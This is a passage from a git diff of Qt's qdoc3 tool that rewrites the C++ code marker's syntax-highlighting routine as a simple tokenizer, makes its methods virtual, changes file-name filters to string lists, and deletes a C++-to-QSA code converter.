                                        SynopsisStyle style,
                                        Status status)
@@ -882,240 +851,282 @@ const Node *CppCodeMarker::resolveTarget(const QString& target,
     return 0;
 }
 
-QString CppCodeMarker::addMarkUp(const QString& protectedCode,
-                                 const Node * /* relative */,
-                                 const QString& /* dirPath */)
+static const char * const typeTable[] = {
+    "bool", "char", "double", "float", "int", "long", "short",
+    "signed", "unsigned", "uint", "ulong", "ushort", "uchar", "void",
+    "qlonglong", "qulonglong",
+    "qint", "qint8", "qint16", "qint32", "qint64",
+    "quint", "quint8", "quint16", "quint32", "quint64",
+    "qreal", "cond", 0
+};
+
+static const char * const keywordTable[] = {
+    "and", "and_eq", "asm", "auto", "bitand", "bitor", "break",
+    "case", "catch", "class", "compl", "const", "const_cast",
+    "continue", "default", "delete", "do", "dynamic_cast", "else",
+    "enum", "explicit", "export", "extern", "false", "for", "friend",
+    "goto", "if", "include", "inline", "monitor", "mutable", "namespace",
+    "new", "not", "not_eq", "operator", "or", "or_eq", "private", "protected",
+    "public", "register", "reinterpret_cast", "return", "sizeof",
+    "static", "static_cast", "struct", "switch", "template", "this",
+    "throw", "true", "try", "typedef", "typeid", "typename", "union",
+    "using", "virtual", "volatile", "wchar_t", "while", "xor",
+    "xor_eq", "synchronized",
+    // Qt specific
+    "signals", "slots", "emit", 0
+};
+
+static QString untabified(const QString &in)
 {
-    static QRegExp globalInclude("#include +&lt;([^<>&]+)&gt;");
-    static QRegExp yHasTypeX("(?:^|\n *)([a-zA-Z_][a-zA-Z_0-9]*)"
-	                     "(?:&lt;[^;{}]+&gt;)?(?: *(?:\\*|&amp;) *| +)"
-	                     "([a-zA-Z_][a-zA-Z_0-9]*)? *[,;()=]");
-    static QRegExp xNewY("([a-zA-Z_][a-zA-Z_0-9]*) *= *new +([a-zA-Z_0-9]+)");
-    static QRegExp xDotY("\\b([a-zA-Z_][a-zA-Z_0-9]*) *(?:\\.|-&gt;|,[ \n]*S(?:IGNAL|LOT)\\() *"
-	                 "([a-zA-Z_][a-zA-Z_0-9]*)(?= *\\()");
-    static QRegExp xIsStaticZOfY("[\n:;{(=] *(([a-zA-Z_0-9]+)::([a-zA-Z_0-9]+))(?= *\\()");
-    static QRegExp classX("[:,][ \n]*(?:p(?:ublic|r(?:otected|ivate))[ \n]+)?"
-                          "([a-zA-Z_][a-zA-Z_0-9]*)");
-    static QRegExp globalX("[\n{()=] *([a-zA-Z_][a-zA-Z_0-9]*)[ \n]*\\(");
-    static QRegExp multiLineComment("/(?:( )?\\*(?:[^*]+|\\*(?! /))*\\*\\1/)");
-    multiLineComment.setMinimal(true);
-    static QRegExp singleLineComment("[^:]//(?!!)[^!\\n]*");
-    static QRegExp preprocessor("(?:^|\n)(#[ \t]*(?:include|if|elif|endif|error|pragma|define"
-                                "|warning)(?:(?:\\\\\n|\\n#)[^\n]*)*)");
-    static QRegExp literals("&quot;(?:[^\\\\&]|\\\\[^\n]|&(?!quot;))*&quot;"
-                            "|'(?:[^\\\\]|\\\\(?:[^x0-9']|x[0-9a-f]{1,4}|[0-9]{1,3}))'");
-
-    QString result = protectedCode;
-    int pos;
-
-    if (!hurryUp()) {
-        /*
-          Mark global includes. For example:
-
-          #include &lt;<@headerfile>QString</@headerfile>
-        */
-        pos = 0;
-        while ((pos = result.indexOf(globalInclude, pos)) != -1)
-            pos += globalInclude.matchedLength()
-                   + insertTagAround(result,
-                                     globalInclude.pos(1),
-                                     globalInclude.cap(1).length(),
-                                     "@headerfile");
-
-        /*
-            Look for variable definitions and similar constructs, mark
-            the data type, and remember the type of the variable.
-        */
-        QMap<QString, QSet<QString> > typesForVariable;
-        pos = 0;
-        while ((pos = yHasTypeX.indexIn(result, pos)) != -1) {
-	    QString x = yHasTypeX.cap(1);
-	    QString y = yHasTypeX.cap(2);
-
-	    if (!y.isEmpty())
-	        typesForVariable[y].insert(x);
-
-	    /*
-                Without the minus one at the end, 'void member(Class
-                var)' would give 'member' as a variable of type 'void',
-                but would ignore 'Class var'. (### Is that true?)
-	    */
-            pos += yHasTypeX.matchedLength()
-                   + insertTagAround(result,
-                                     yHasTypeX.pos(1),
-                                     x.length(),
-                                     "@type") - 1;
-        }
+    QString res;
+    int col = 0;
+    int i = 0;
+
+    for (; i < (int) in.length(); i++) {
+	if (in[i] == QChar('\t')) {
+	    res += QString("        " + (col & 0x7));
+	    col = (col + 8) & ~0x7;
+	} else {
+	    res += in[i];
+	    if (in[i] == QChar('\n'))
+		col = 0;
+	}
+    }
 
-        /*
-            Do syntax highlighting of preprocessor directives.
-        */
-        pos = 0;
-        while ((pos = preprocessor.indexIn(result, pos)) != -1)
-            pos += preprocessor.matchedLength()
-                   + insertTagAround(result,
-                                     preprocessor.pos(1),
-                                     preprocessor.cap(1).length(),
-                                     "@preprocessor");
-
-        /*
-            Deal with string and character literals.
-        */
-        pos = 0;
-        while ((pos = literals.indexIn(result, pos)) != -1)
-            pos += literals.matchedLength()
-                   + insertTagAround(result,
-                                     pos,
-                                     literals.matchedLength(),
-                                     result.at(pos) ==
-                                       QLatin1Char(' ') ? "@string" : "@char");
-
-        /*
-            Look for 'var = new Class'.
-        */
-        pos = 0;
-        while ((pos = xNewY.indexIn(result, pos)) != -1) {
-	    QString x = xNewY.cap(1);
-	    QString y = xNewY.cap(2);
-	    typesForVariable[x].insert(y);
-
-	    pos += xNewY.matchedLength() + insertTagAround(result,
-                                                           xNewY.pos(2),
-                                                           y.length(),
-                                                           "@type");
-        }
+    return res;
+}
 
-        /*
-            Insert some stuff that cannot harm.
-        */
-        typesForVariable["qApp"].insert("QApplication");
-
-        /*
-            Add link to ': Class'.
-        */
-        pos = 0;
-        while ((pos = classX.indexIn(result, pos)) != -1)
-	    pos += classX.matchedLength()
-                   + insertTagAround(result,
-                                     classX.pos(1),
-                                     classX.cap(1).length(),
-                                     "@type") - 1;
-
-        /*
-            Find use of any of
-
-                var.method()
-	        var->method()
-	        var, SIGNAL(method())
-	        var, SLOT(method()).
-        */
-        pos = 0;
-        while ((pos = xDotY.indexIn(result, pos)) != -1) {
-	    QString x = xDotY.cap(1);
-	    QString y = xDotY.cap(2);
-
-	    QSet<QString> types = typesForVariable.value(x);
-            pos += xDotY.matchedLength()
-                   + insertTagAround(result,
-                                     xDotY.pos(2),
-                                     xDotY.cap(2).length(),
-                                     "@func",
-                                     (types.count() == 1) ? "target=\""
-                                        + protect(*types.begin() + "::" + y)
-                                        + "()\"" : QString());
-        }
+/*
+    @char
+    @class
+    @comment
+    @function
+    @keyword
+    @number
+    @op
+    @preprocessor
+    @string
+    @type
+*/
 
-        /*
-            Add link to 'Class::method()'.
-        */
-        pos = 0;
-        while ((pos = xIsStaticZOfY.indexIn(result, pos)) != -1) {
-	    QString x = xIsStaticZOfY.cap(1);
-	    QString z = xIsStaticZOfY.cap(3);
-
-            pos += insertTagAround(result,
-                                   xIsStaticZOfY.pos(3),
-                                   z.length(),
-                                   "@func",
-                                   "target=\"" + protect(x) + "()\"");
-            pos += insertTagAround(result,
-                                   xIsStaticZOfY.pos(2),
-                                   xIsStaticZOfY.cap(2).length(),
-                                   "@type");
-            pos += xIsStaticZOfY.matchedLength() - 1;
-        }
+QString CppCodeMarker::addMarkUp(const QString &in,
+                                 const Node * /* relative */,
+                                 const Location & /* location */)
+{
+#define readChar() \
+    ch = (i < (int)code.length()) ? code[i++].cell() : EOF
 
-        /*
-            Add link to 'globalFunction()'.
-        */
-        pos = 0;
-        while ((pos = globalX.indexIn(result, pos)) != -1) {
-            QString x = globalX.cap(1);
-	    if (x != "QT_FORWARD_DECLARE_CLASS") {
-                pos += globalX.matchedLength()
-                       + insertTagAround(result,
-                                         globalX.pos(1),
-                                         x.length(),
-                                         "@func",
-                                         "target=\"" + protect(x) + "()\"") - 1;
-            }
-            else
-                pos += globalX.matchedLength();
-        }
+    QString code = in;
+
+    QMap<QString, int> types;
+    QMap<QString, int> keywords;
+    int j = 0;
+    while (typeTable[j] != 0) {
+	types.insert(QString(typeTable[j]), 0);
+	j++;
+    }
+    j = 0;
+    while (keywordTable[j] != 0) {
+	keywords.insert(QString(keywordTable[j]), 0);
+	j++;
     }
 
-    /*
-        Do syntax highlighting of comments. Also alter the code in a
-        minor way, so that we can include comments in documentation
-        comments.
-    */
-    pos = 0;
-    while (pos != -1) {
-        int mlpos;
-        int slpos;
-        int len;
-        slpos = singleLineComment.indexIn(result, pos);
-        mlpos = multiLineComment.indexIn(result, pos);
-
-        if (slpos == -1 && mlpos == -1)
-            break;
-
-        if (slpos == -1) {
-            pos = mlpos;
-            len = multiLineComment.matchedLength();
-        }
-        else if (mlpos == -1) {
-            pos = slpos + 1;
-            len = singleLineComment.matchedLength() - 1;
-        }
-        else {
-            if (slpos < mlpos) {
-                pos = slpos + 1;
-                len = singleLineComment.matchedLength() - 1;
-            }
-            else {
-                pos = mlpos;
-                len = multiLineComment.matchedLength();
-            }
-        }
+    QString out("");
+    int braceDepth = 0;
+    int parenDepth = 0;
+    int i = 0;
+    int start = 0;
+    int finish = 0;
+    char ch;
+    QRegExp classRegExp("Qt?(?:[A-Z3]+[a-z][A-Za-z]*|t)");
+    QRegExp functionRegExp("q([A-Z][a-z]+)+");
+
+    readChar();
+
+    while (ch != EOF) {
+	QString tag;
+        bool target = false;
+
+	if (isalpha(ch) || ch == '_') {
+	    QString ident;
+	    do {
+		ident += ch;
+                finish = i;
+		readChar();
+	    } while (isalnum(ch) || ch == '_');
+
+	    if (classRegExp.exactMatch(ident)) {
+		tag = QLatin1String("type");
+            } else if (functionRegExp.exactMatch(ident)) {
+                tag = QLatin1String("func");
+                target = true;
+	    } else if (types.contains(ident)) {
+		tag = QLatin1String("type");
+	    } else if (keywords.contains(ident)) {
+		tag = QLatin1String("keyword");
+	    } else if (braceDepth == 0 && parenDepth == 0) {
+		if (QString(code.unicode() + i - 1, code.length() - (i - 1))
+		     .indexOf(QRegExp(QLatin1String("^\\s*\\("))) == 0)
+		    tag = QLatin1String("func");
+                    target = true;
+	    }
+	} else if (isdigit(ch)) {
+	    do {
+                finish = i;
+		readChar();
+	    } while (isalnum(ch) || ch == '.');
+	    tag = QLatin1String("number");
+	} else {
+	    switch (ch) {
+	    case '+':
+	    case '-':
+	    case '!':
+	    case '%':
+	    case '^':
+	    case '&':
+	    case '*':
+	    case ',':
+	    case '.':
+	    case '<':
+	    case '=':
+	    case '>':
+	    case '?':
+	    case '[':
+	    case ']':
+	    case '|':
+	    case '~':
+                finish = i;
+		readChar();
+		tag = QLatin1String("op");
+		break;
+	    case '"':
+                finish = i;
+		readChar();
+
+		while (ch != EOF && ch != '"') {
+		    if (ch == '\\')
+			readChar();
+		    readChar();
+		}
+                finish = i;
+		readChar();
+		tag = QLatin1String("string");
+		break;
+	    case '#':
+                finish = i;
+		readChar();
+		while (ch != EOF && ch != '\n') {
+		    if (ch == '\\')
+			readChar();
+                    finish = i;
+		    readChar();
+		}
+		tag = QLatin1String("preprocessor");
+		break;
+	    case '\'':
+                finish = i;
+		readChar();
+
+		while (ch != EOF && ch != '\'') {
+		    if (ch == '\\')
+			readChar();
+		    readChar();
+		}
+                finish = i;
+		readChar();
+		tag = QLatin1String("char");
+		break;
+	    case '(':
+                finish = i;
+		readChar();
+		parenDepth++;
+		break;
+	    case ')':
+                finish = i;
+		readChar();
+		parenDepth--;
+		break;
+	    case ':':
+                finish = i;
+		readChar();
+		if (ch == ':') {
+                    finish = i;
+		    readChar();
+		    tag = QLatin1String("op");
+		}
+		break;
+	    case '/':
+                finish = i;
+		readChar();
+		if (ch == '/') {
+		    do {
+                        finish = i;
+			readChar();
+		    } while (ch != EOF && ch != '\n');
+		    tag = QLatin1String("comment");
+		} else if (ch == '*') {
+		    bool metAster = false;
+		    bool metAsterSlash = false;
+
+                    finish = i;
+		    readChar();
+
+		    while (!metAsterSlash) {
+			if (ch == EOF)
+			    break;
+
+			if (ch == '*')
+			    metAster = true;
+			else if (metAster && ch == '/')
+			    metAsterSlash = true;
+			else
+			    metAster = false;
+                        finish = i;
+			readChar();
+		    }
+		    tag = QLatin1String("comment");
+		} else {
+		    tag = QLatin1String("op");
+		}
+		break;
+	    case '{':
+                finish = i;
+		readChar();
+		braceDepth++;
+		break;
+	    case '}':
+                finish = i;
+		readChar();
+		braceDepth--;
+		break;
+	    default:
+                finish = i;
+		readChar();
+	    }
+	}
 
-        if (result.at(pos + 1) == QLatin1Char(' ')) {
-            result.remove(pos + len - 2, 1);
-            result.remove(pos + 1, 1);
-            len -= 2;
+        QString text;
+        text = code.mid(start, finish - start);
+        start = finish;
 
-            forever {
-                int endcodePos = result.indexOf("\\ endcode", pos);
-                if (endcodePos == -1 || endcodePos >= pos + len)
-                    break;
-                result.remove(endcodePos + 1, 1);
-                len -= 1;
-            }
+	if (!tag.isEmpty()) {
+	    out += QLatin1String("<@") + tag;
+            if (target)
+                out += QLatin1String(" target=\"") + text + QLatin1String("()\"");
+            out += QLatin1String(">");
         }
-        pos += len + insertTagAround(result, pos, len, "@comment");
+
+        out += protect(text);
+
+	if (!tag.isEmpty())
+	    out += QLatin1String("</@") + tag + QLatin1String(">");
+    }
+
+    if (start < code.length()) {
+        out += protect(code.mid(start));
     }
 
-    return result;
+    return out;
 }
 
 #ifdef QDOC_QML
diff --git a/tools/qdoc3/cppcodemarker.h b/tools/qdoc3/cppcodemarker.h
index 9c8d38c..061d642 100644
--- a/tools/qdoc3/cppcodemarker.h
+++ b/tools/qdoc3/cppcodemarker.h
@@ -56,41 +56,42 @@ class CppCodeMarker : public CodeMarker
     CppCodeMarker();
     ~CppCodeMarker();
 
-    bool recognizeCode(const QString& code);
-    bool recognizeExtension(const QString& ext);
-    bool recognizeLanguage(const QString& lang);
-    QString plainName(const Node *node);
-    QString plainFullName(const Node *node, const Node *relative);
-    QString markedUpCode(const QString& code, 
-                         const Node *relative, 
-                         const QString& dirPath);
-    QString markedUpSynopsis(const Node *node, 
-                             const Node *relative,
-                             SynopsisStyle style);
+    virtual bool recognizeCode(const QString& code);
+    virtual bool recognizeExtension(const QString& ext);
+    virtual bool recognizeLanguage(const QString& lang);
+    virtual Atom::Type atomType() const;
+    virtual QString plainName(const Node *node);
+    virtual QString plainFullName(const Node *node, const Node *relative);
+    virtual QString markedUpCode(const QString& code, 
+                                 const Node *relative, 
+                                 const Location &location);
+    virtual QString markedUpSynopsis(const Node *node, 
+                                     const Node *relative,
+                                     SynopsisStyle style);
 #ifdef QDOC_QML
-    QString markedUpQmlItem(const Node *node, bool summary);
+    virtual QString markedUpQmlItem(const Node *node, bool summary);
 #endif
-    QString markedUpName(const Node *node);
-    QString markedUpFullName(const Node *node, const Node *relative);
-    QString markedUpEnumValue(const QString &enumValue, const Node *relative);
-    QString markedUpIncludes(const QStringList& includes);
-    QString functionBeginRegExp(const QString& funcName);
-    QString functionEndRegExp(const QString& funcName);
-    QList<Section> sections(const InnerNode *innerNode, 
-                            SynopsisStyle style, 
-                            Status status);
-    QList<Section> qmlSections(const QmlClassNode* qmlClassNode,
-                               SynopsisStyle style,
-                               const Tree* tree);
-    const Node* resolveTarget(const QString& target, 
-                              const Tree* tree, 
-                              const Node* relative,
-                              const Node* self = 0);
+    virtual QString markedUpName(const Node *node);
+    virtual QString markedUpFullName(const Node *node, const Node *relative);
+    virtual QString markedUpEnumValue(const QString &enumValue, const Node *relative);
+    virtual QString markedUpIncludes(const QStringList& includes);
+    virtual QString functionBeginRegExp(const QString& funcName);
+    virtual QString functionEndRegExp(const QString& funcName);
+    virtual QList<Section> sections(const InnerNode *innerNode, 
+                                    SynopsisStyle style, 
+                                    Status status);
+    virtual QList<Section> qmlSections(const QmlClassNode* qmlClassNode,
+                                       SynopsisStyle style,
+                                       const Tree* tree);
+    virtual const Node* resolveTarget(const QString& target, 
+                                      const Tree* tree, 
+                                      const Node* relative,
+                                      const Node* self = 0);
 
 private:
     QString addMarkUp(const QString& protectedCode, 
                       const Node *relative, 
-                      const QString& dirPath);
+                      const Location &location);
 };
 
 QT_END_NAMESPACE
diff --git a/tools/qdoc3/cppcodeparser.cpp b/tools/qdoc3/cppcodeparser.cpp
index cac778f..3979176 100644
--- a/tools/qdoc3/cppcodeparser.cpp
+++ b/tools/qdoc3/cppcodeparser.cpp
@@ -47,7 +47,6 @@
 
 #include <stdio.h>
 #include <errno.h>
-#include <qdebug.h>
 
 #include "codechunk.h"
 #include "config.h"
@@ -258,18 +257,18 @@ QString CppCodeParser::language()
 /*!
   Returns a list of extensions for header files.
  */
-QString CppCodeParser::headerFileNameFilter()
+QStringList CppCodeParser::headerFileNameFilter()
 {
-    return "*.ch *.h *.h++ *.hh *.hpp *.hxx";
+    return QStringList() << "*.ch" << "*.h" << "*.h++" << "*.hh" << "*.hpp" << "*.hxx";
 }
 
 /*!
   Returns a list of extensions for source files, i.e. not
   header files.
  */
-QString CppCodeParser::sourceFileNameFilter()
+QStringList CppCodeParser::sourceFileNameFilter()
 {
-    return "*.c++ *.cc *.cpp *.cxx";
+    return QStringList() << "*.c++" << "*.cc" << "*.cpp" << "*.cxx" << "*.mm";
 }
 
 /*!
@@ -966,16 +965,6 @@ void CppCodeParser::processOtherMetaCommand(const Doc& doc,
                     .arg(COMMAND_REIMP).arg(node->name()));
             }
 
-#if 0
-            // Reimplemented functions now reported in separate sections.
-            /*
-              Note: Setting the access to Private hides the documentation,
-              but setting the status to Internal makes the node available
-              in the XML output when the WebXMLGenerator is used.
-            */
-            func->setAccess(Node::Private);
-            func->setStatus(Node::Internal);
-#endif
             func->setReimp(true);
         }
         else {
diff --git a/tools/qdoc3/cppcodeparser.h b/tools/qdoc3/cppcodeparser.h
index b6d86d8..f708588 100644
--- a/tools/qdoc3/cppcodeparser.h
+++ b/tools/qdoc3/cppcodeparser.h
@@ -69,8 +69,8 @@ class CppCodeParser : public CodeParser
     virtual void initializeParser(const Config& config);
     virtual void terminateParser();
     virtual QString language();
-    virtual QString headerFileNameFilter();
-    virtual QString sourceFileNameFilter();
+    virtual QStringList headerFileNameFilter();
+    virtual QStringList sourceFileNameFilter();
     virtual void parseHeaderFile(const Location& location,
                                  const QString& filePath, 
                                  Tree *tree);
diff --git a/tools/qdoc3/cpptoqsconverter.cpp b/tools/qdoc3/cpptoqsconverter.cpp
deleted file mode 100644
index d9dcad1..0000000
--- a/tools/qdoc3/cpptoqsconverter.cpp
+++ /dev/null
@@ -1,415 +0,0 @@
-/****************************************************************************
-**
-** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
-** All rights reserved.
-** Contact: Nokia Corporation (qt-info@nokia.com)
-**
-** This file is part of the tools applications of the Qt Toolkit.
-**
-** $QT_BEGIN_LICENSE:LGPL$
-** No Commercial Usage
-** This file contains pre-release code and may not be distributed.
-** You may use this file in accordance with the terms and conditions
-** contained in the Technology Preview License Agreement accompanying
-** this package.
-**
-** GNU Lesser General Public License Usage
-** Alternatively, this file may be used under the terms of the GNU Lesser
-** General Public License version 2.1 as published by the Free Software
-** Foundation and appearing in the file LICENSE.LGPL included in the
-** packaging of this file.  Please review the following information to
-** ensure the GNU Lesser General Public License version 2.1 requirements
-** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
-**
-** In addition, as a special exception, Nokia gives you certain additional
-** rights.  These rights are described in the Nokia Qt LGPL Exception
-** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
-**
-** If you have questions regarding the use of this file, please contact
-** Nokia at qt-info@nokia.com.
-**
-**
-**
-**
-**
-**
-**
-**
-** $QT_END_LICENSE$
-**
-****************************************************************************/
-
-/*
-  cpptoqsconverter.cpp
-*/
-
-#include "config.h"
-#include "cpptoqsconverter.h"
-
-QT_BEGIN_NAMESPACE
-
-#define CONFIG_QUICK                    "quick"
-#define CONFIG_INDENTSIZE               "indentsize"
-
-void setTabSize( int size );
-void setIndentSize( int size );
-int columnForIndex( const QString& t, int index );
-int indentForBottomLine( const QStringList& program, QChar typedIn );
-
-static QString balancedParens = "(?:[^()]+|\\([^()]*\\))*";
-
-QRegExp CppToQsConverter::qClassRegExp;
-QRegExp CppToQsConverter::addressOperatorRegExp;
-QRegExp CppToQsConverter::gulbrandsenRegExp;
-int CppToQsConverter::tabSize;
-
-ClassNode *CppToQsConverter::findClassNode( Tree *qsTree,
-					    const QString& qtName )
-{
-    ClassNode *classe = (ClassNode *) qsTree->findNode( QStringList(qtName), Node::Class );
-    if ( classe == 0 )
-	classe = (ClassNode *) qsTree->findNode( QStringList(qtName.mid(1)), Node::Class );
-    return classe;
-}
-
-QString CppToQsConverter::convertedDataType( Tree *qsTree,
-					     const QString& leftType,
-					     const QString& /* rightType */ )
-{
-    QString s = leftType;
-
-    if ( s.startsWith("const ") )
-	s = s.mid( 6 );
-    while ( s.endsWith("*") || s.endsWith("&") || s.endsWith(" ") )
-	s.truncate( s.length() - 1 );
-
-    switch ( s[0].unicode() ) {
-    case 'Q':
-	if ( s == "QCString" ) {
-	    return "String";
-	} else {
-	    Node *node = findClassNode( qsTree, s );
-	    if ( node == 0 ) {
-		return "";
-	    } else {
-		return node->name();
-	    }
-	}
-	break;
-    case 'b':
-	if ( s == "bool" )
-	    return "Boolean";
-	break;
-    case 'c':
-	if ( s == "char" ) {
-	    if ( leftType == "const char *" ) {
-		return "String";
-	    } else {
-		return "Number";
-	    }
-	}
-	break;
-    case 'd':
-	if ( s == "double" )
-	    return "Number";
-	break;
-    case 'f':
-	if ( s == "float" )
-	    return "Number";
-    case 'i':
-	if ( s == "int" )
-	    return "Number";
-	break;
-    case 'l':
-	if ( s == "long" || s == "long int" || s == "long long" ||
-	     s == "long long int" || s == "long double" )
-	    return "Number";
-	break;
-    case 's':
-	if ( s == "short" || s == "short int" || s == "signed char" ||
-	     s == "signed short" || s == "signed short int" || s == "signed" ||
-	     s == "signed int" || s == "signed long" || s == "signed long int" )
-	    return "Number";
-	break;
-    case 'u':
-	if ( s == "uchar" || s == "unsigned" || s == "unsigned char" ||
-	     s == "ushort" || s == "unsigned short" ||
-	     s == "unsigned short int" || s == "uint" || s == "unsigned int" ||
-	     s == "ulong" || s == "unsigned long" || s == "unsigned long int" )
-	    return "Number";
-	break;
-    case 'v':
-	if ( s == "void" )
-	    return "";
-    }
-    return s;
-}
-
-QString CppToQsConverter::convertedCode( Tree *qsTree, const QString& code,
-					 const QSet<QString>& classesWithNoQ )
-{
-    QString result;
-    QStringList program;
-    QStringList comments;
-    int programWidth = 0;
-
-    QStringList originalLines = code.split("\n");
-    QStringList::ConstIterator ol = originalLines.begin();
-    while ( ol != originalLines.end() ) {
-	QString code = (*ol).trimmed();
-	QString comment;
-
-	int slashSlash = code.indexOf( "//" );
-	if ( slashSlash != -1 ) {
-	    comment = code.mid( slashSlash );
-	    code.truncate( slashSlash );
-	    code = code.trimmed();
-	}
-
-	code = convertCodeLine( qsTree, program, code, classesWithNoQ );
-	program.append( code );
-
-	comment = convertComment( qsTree, comment, classesWithNoQ );
-	comments.append( comment );
-
-	int n = indentForBottomLine( program, QChar::Null );
-	for ( int i = 0; i < n; i++ )
-	    program.last().prepend( " " );
-
-	int width = columnForIndex( program.last(), program.last().length() );
-	if ( !comment.isEmpty() && width > programWidth )
-	    programWidth = width;
-	++ol;
-    }
-
-    programWidth = ( (programWidth + (tabSize - 1) + 2) / tabSize ) * tabSize;
-
-    QStringList::ConstIterator p = program.begin();
-    QStringList::ConstIterator c = comments.begin();
-    while ( c != comments.end() ) {
-	if ( c != comments.begin() )
-	    result += "\n";
-
-	if ( (*p).trimmed().isEmpty() ) {
-	    if ( !(*c).isEmpty() )
-		result += *p;
-	} else {
-	    result += *p;
-	    if ( !(*c).isEmpty() ) {
-		int i = columnForIndex( *p, (*p).length() );
-		while ( i++ < programWidth )
-		    result += " ";
-	    }
-	}
-	result += *c;
-	++p;
-	++c;
-    }
-    return result;
-}
-
-void CppToQsConverter::initialize( const Config& config )
-{
-    qClassRegExp.setPattern( "\\bQ([A-Z][A-Za-z]+)\\b" );
-    addressOperatorRegExp.setPattern( "([(\\s])[*&]([a-zA-Z])" );
-    gulbrandsenRegExp.setPattern( "\\b::\\b|->" );
-
-    tabSize = config.getInt( CONFIG_TABSIZE );
-    setTabSize( tabSize );
-
-    int size = config.getInt( CONFIG_QUICK + Config::dot + CONFIG_INDENTSIZE );
-    if ( size > 0 )
-	setIndentSize( size );
-}
-
-void CppToQsConverter::terminate()
-{
-}
-
-QString CppToQsConverter::convertCodeLine( Tree *qsTree,
-					   const QStringList& program,
-					   const QString& code,
-					   const QSet<QString>& classesWithNoQ )
-{
-    static QString dataTypeFmt =
-	"(?!return)(?:const\\b\\s*)?[A-Za-z_]+(?:\\s*[*&])?";
-    static QRegExp funcPrototypeRegExp(
-	"(" + dataTypeFmt + ")\\s*\\b([A-Z][a-zA-Z_0-9]*::)?"
-	"([a-z][a-zA-Z_0-9]*)\\(([^);]*)(\\)?)(?:\\s*const)?" );
-    static QRegExp paramRegExp(
-	"^\\s*(" + dataTypeFmt + ")\\s*\\b([a-z][a-zA-Z_0-9]*)\\s*(,)?\\s*" );
-    static QRegExp uninitVarRegExp(
-	"(" + dataTypeFmt + ")\\s*\\b([a-z][a-zA-Z_0-9]*);" );
-    static QRegExp eqVarRegExp(
-	dataTypeFmt + "\\s*\\b([a-z][a-zA-Z_0-9]*)\\s*=(\\s*)(.*)" );
-    static QRegExp ctorVarRegExp(
-	"(" + dataTypeFmt + ")\\s*\\b([a-z][a-zA-Z_0-9]*)\\((.*)\\);" );
-    static QRegExp qdebugRegExp(
-	"q(?:Debug|Warning|Fatal)\\(\\s*(\"(?:\\\\.|[^\"])*\")\\s*"
-	"(?:,\\s*(\\S(?:[^,]*\\S)?))?\\s*\\);" );
-    static QRegExp coutRegExp( "c(?:out|err)\\b(.*);" );
-    static QRegExp lshiftRegExp( "\\s*<<\\s*" );
-    static QRegExp endlRegExp( "^endl$" );
-
-    if ( code.isEmpty() || code == "{" || code == "}" )
-	return code;
-
-    QString result;
-
-    if ( funcPrototypeRegExp.exactMatch(code) ) {
-	QString returnType = funcPrototypeRegExp.cap( 1 );
-	QString className = funcPrototypeRegExp.cap( 2 );
-	QString funcName = funcPrototypeRegExp.cap( 3 );
-	QString params = funcPrototypeRegExp.cap( 4 ).trimmed();
-	bool toBeContinued = funcPrototypeRegExp.cap( 5 ).isEmpty();
-        // ### unused
-        Q_UNUSED(toBeContinued);
-
-	className.replace( "::", "." );
-
-	result = "function " + className + funcName + "(";
-
-	if ( !params.isEmpty() && params != "void" ) {
-	    result += " ";
-	    int i = funcPrototypeRegExp.pos( 4 );
-	    while ( (i = paramRegExp.indexIn(code, i,
-					     QRegExp::CaretAtOffset)) != -1 ) {
-		QString dataType = paramRegExp.cap( 1 );
-		QString paramName = paramRegExp.cap( 2 );
-		QString comma = paramRegExp.cap( 3 );
-
-		result += paramName + " : " +
-			  convertedDataType( qsTree, dataType );
-		if ( comma.isEmpty() )
-		    break;
-		result += ", ";
-		i += paramRegExp.matchedLength();
-	    }
-	    result += " ";
-	}
-
-	result += ")";
-	returnType = convertedDataType( qsTree, returnType );
-	if ( !returnType.isEmpty() )
-	    result += " : " + returnType;
-    } else if ( uninitVarRegExp.exactMatch(code) ) {
-	QString dataType = uninitVarRegExp.cap( 1 );
-	QString varName = uninitVarRegExp.cap( 2 );
-
-	result = "var " + varName;
-	dataType = convertedDataType( qsTree, dataType );
-	if ( !dataType.isEmpty() )
-	    result += " : " + dataType;
-	result += ";";
-    } else if ( eqVarRegExp.exactMatch(code) ) {
-	QString varName = eqVarRegExp.cap( 1 );
-	QString value = eqVarRegExp.cap( 3 );
-
-	value = convertExpr( qsTree, value, classesWithNoQ );
-	result += "var " + varName + " = " + value;
-    } else if ( ctorVarRegExp.exactMatch(code) ) {
-	QString dataType = ctorVarRegExp.cap( 1 );
-	QString varName = ctorVarRegExp.cap( 2 );
-	QString value = ctorVarRegExp.cap( 3 ).trimmed();
-
-	result += "var " + varName + " = ";
-
-	dataType = convertedDataType( qsTree, dataType );
-	value = convertExpr( qsTree, value, classesWithNoQ );
-
-	if ( dataType.isEmpty() || dataType == "String" ) {
-	    if ( value.contains(",") ) {
-		result += "...";
-	    } else {
-		result += value;
-	    }
-	} else {
-	    result += "new " + dataType;
-	    if ( !value.isEmpty() )
-		result += "( " + value + " )";
-	}
-	result += ";";
-    } else if ( qdebugRegExp.exactMatch(code) ) {
-	QString fmt = qdebugRegExp.cap( 1 );
-	QString arg1 = qdebugRegExp.cap( 2 );
-
-	result += "println ";
-	int i = 0;
-	while ( i < (int) fmt.length() ) {
-	    if ( fmt[i] == '%' ) {
-		int percent = i;
-		i++;
-		while ( i < (int) fmt.length() &&
-			QString("diouxXeEfFgGaAcsCSpn%\"").indexOf(fmt[i]) == -1 )
-		    i++;
-		if ( fmt[i] == '%' ) {
-		    result += fmt[i++];
-		} else if ( fmt[i] != '"' ) {
-		    if ( percent == 1 ) {
-			result.truncate( result.length() - 1 );
-		    } else {
-			result += "\" + ";
-		    }
-		    i++;
-		    if ( arg1.endsWith(".latin1()") )
-			arg1.truncate( arg1.length() - 9 );
-		    result += arg1;
-		    if ( i == (int) fmt.length() - 1 ) {
-			i++;
-		    } else {
-			result += " + \"";
-		    }
-		}
-	    } else {
-		result += fmt[i++];
-	    }
-	}
-	result += ";";
-    } else if ( coutRegExp.exactMatch(code) &&
-		program.filter("var cout").isEmpty() ) {
-	QStringList args = coutRegExp.cap(1).split(lshiftRegExp);
-	args.replaceInStrings( endlRegExp, "\"\\n\"" );
-	if ( args.last() == "\"\\n\"" ) {
-	    args.erase( args.end() - 1 );
-	    if ( args.isEmpty() )
-		args << "\"\"";
-	    result += "println ";
-	} else {
-	    result += "print ";
-	}
-	result += args.join( " + " ) + ";";
-    } else {
